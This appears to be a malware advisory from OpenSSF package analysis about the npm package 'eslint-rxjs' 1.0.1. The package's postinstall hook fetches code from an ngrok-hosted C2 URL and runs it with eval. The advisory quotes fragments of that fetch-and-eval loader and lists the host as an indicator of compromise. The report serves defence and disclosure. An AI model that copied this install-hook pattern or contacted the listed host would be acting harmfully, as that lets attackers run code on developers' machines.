GCVE-110-OSM-2026-11549

The OpenSSF Package Analysis project identified 'eslint-rxjs' @ 1.0.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. Judge assessment: This is a straightforward install-time remote code loader: `package.json` triggers `scripts/postinstall.cjs`, which immediately calls `onInstall()` from `index.cjs`. The entrypoint fetches `https://e493-95-216-46-122.ngrok-free.app/ping`, reads the response, and executes it with `eval(data)`, matching a classic attacker model of arbitrary payload execution via a disposable ngrok C2. The package is also brand-new (`veydens` has one package, first publish less than a day old), which is consistent with a throwaway malicious publisher rather than a legitimate library. The OSV MAL-2026-15812 advisory is corroborated by the actual code and the recovered exfil IOC, so this should be treated as malicious and submitted. ENTRY scripts/postinstall.cjs (install-hook: node scripts/postinstall.cjs) - Install Hook Executes Local JS File in package.json DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Fetch and Eval/Exec in index.cjs: "fetch("https://e493-95-216-46-122.ngrok-free.app/ping"); const data = await resp..." - Network Request in index.cjs: "fetch("https:" ADDITIONAL FINDINGS - Dynamic Code Execution in index.cjs: "eval(data)" - Ngrok Tunneling Service in index.cjs: "ngrok-free.app" - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES index.cjs